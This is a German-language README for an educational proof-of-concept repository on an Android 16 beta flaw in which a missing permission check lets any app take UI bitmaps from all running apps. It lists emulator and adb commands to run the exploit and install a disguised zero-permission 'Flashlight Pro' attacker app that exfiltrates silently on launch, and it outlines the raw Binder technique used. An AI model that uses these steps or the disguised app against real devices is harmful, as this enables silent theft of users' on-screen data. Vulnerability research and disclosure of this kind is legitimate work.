
CVE-2026-0047: Fehlende Berechtigungsprüfung in ActivityManagerService.dumpBitmapsProto() — UI-Bitmaps von jeder laufenden App mit null Berechtigungen stehlen (Android 16 QPR2 Beta)
Heap von Bitmaps aus jeder laufenden App gestohlen — null Berechtigungen, null Benutzerinteraktion.
Eine fehlende enforceCallingOrSelfPermission(DUMP)-Prüfung in ActivityManagerService.dumpBitmapsProto() ermöglicht es jeder installierten App, UI-Bitmaps aus allen laufenden Prozessen auf Android 16 QPR2 Beta (Baklava) zu exfiltrieren.
Hinweis: Wir haben diese Schwachstelle nicht entdeckt. Alle Anerkennung für die Entdeckung und verantwortungsvolle Meldung gebührt den ursprünglichen Forschern. Dieses Repository enthält unsere unabhängige Patch-Analyse, Reproduktion und pädagogische Aufarbeitung, um der Sicherheitscommunity zu helfen, die Fehlerklasse und die verwendeten Exploitationstechniken zu verstehen.
| CVE | CVE-2026-0047 |
| Schweregrad | Kritisch — CVSS 8.4 |
| Komponente | ActivityManagerService.dumpBitmapsProto() |
| Grundursache | Fehlende Berechtigungsprüfung (CWE-280) |
| Auswirkung | Jede App ohne Berechtigungen stiehlt UI-Bitmaps aus allen laufenden Apps |
| Betroffen | Android 16 QPR2 Beta 1–3 (Baklava), Patchlevel < 2026-03-01 |
| Behoben | Android-Sicherheitsbulletin März 2026 |
├── app/ # PoC-Exploit-App (Audit-Tool-UI)
├── attacker/ # "Flashlight Pro" — getarnte Angreifer-App
├── apk/ # Vorgefertigte APKs (installationsbereit)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Einzelschritt-Exploit-Skript
├── gradle/ # Gradle Wrapper
└── README.md
Sie benötigen einen Android 16 QPR2 Beta (Baklava) Emulator mit einem Sicherheitspatchlevel vor 2026-03-01:
# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Boot the emulator
emulator -avd baklava &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable
# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator
# Already have a Baklava emulator running?
./exploit.sh
# Skip build, just run exploit
./exploit.sh --skip-build
# Install the PoC app
adb install apk/cve-2026-0047-poc.apk
# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings
# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Tap "Exploit dumpBitmapsProto()" button
# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
Raw Binder-Sonde — Transaktionscode #117 auf dem activity-Dienst wird auf dumpBitmapsProto() abgebildet. Das Senden ohne Argumente verursacht eine NullPointerException innerhalb von AMS (keine SecurityException), was beweist, dass der Methodenrumpf ohne Berechtigungsprüfung ausgeführt wird.
Raw Binder-Exploit — Wir verwenden IBinder.transact(), um ein handgefertigtes Parcel direkt an AMS zu senden. Dies umgeht die versteckten API-Beschränkungen von Android vollständig — keine hidden_api_policy-Einstellung erforderlich. Das Parcel enthält:
android.app.IActivityManager)ParcelFileDescriptor (Pipe-Schreibende)userId = -2 (USER_CURRENT)Auf einem Baklava-Emulator (BP41.250725.007, Patch 2025-08-05) mit geöffneten Einstellungen, Uhr und Dateien:
Google fügte enforceCallingOrSelfPermission(DUMP) als erste Zeile von dumpBitmapsProto() hinzu, sodass unprivilegierte Aufrufer jetzt eine SecurityException erhalten, bevor auf Daten zugegriffen wird.
Forschung und PoC von Mobile Hacking Lab. Wir haben diese Schwachstelle unabhängig zu Bildungszwecken reproduziert.
Dieser Proof of Concept wird nur für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Verwenden Sie ihn nur auf Geräten und Umgebungen, die Ihnen gehören oder für die Sie ausdrückliche Erlaubnis zum Testen haben. Die Autoren haften nicht für Missbrauch.
dumpAll = trueformat = "png"Bitmap-Extraktion — AMS schreibt Protobuf-Daten mit PNG-Bitmaps in die Pipe. Wir scannen nach PNG-Magiebytes (89 50 4E 47) und IEND-Trailern, um einzelne Bilder zu extrahieren.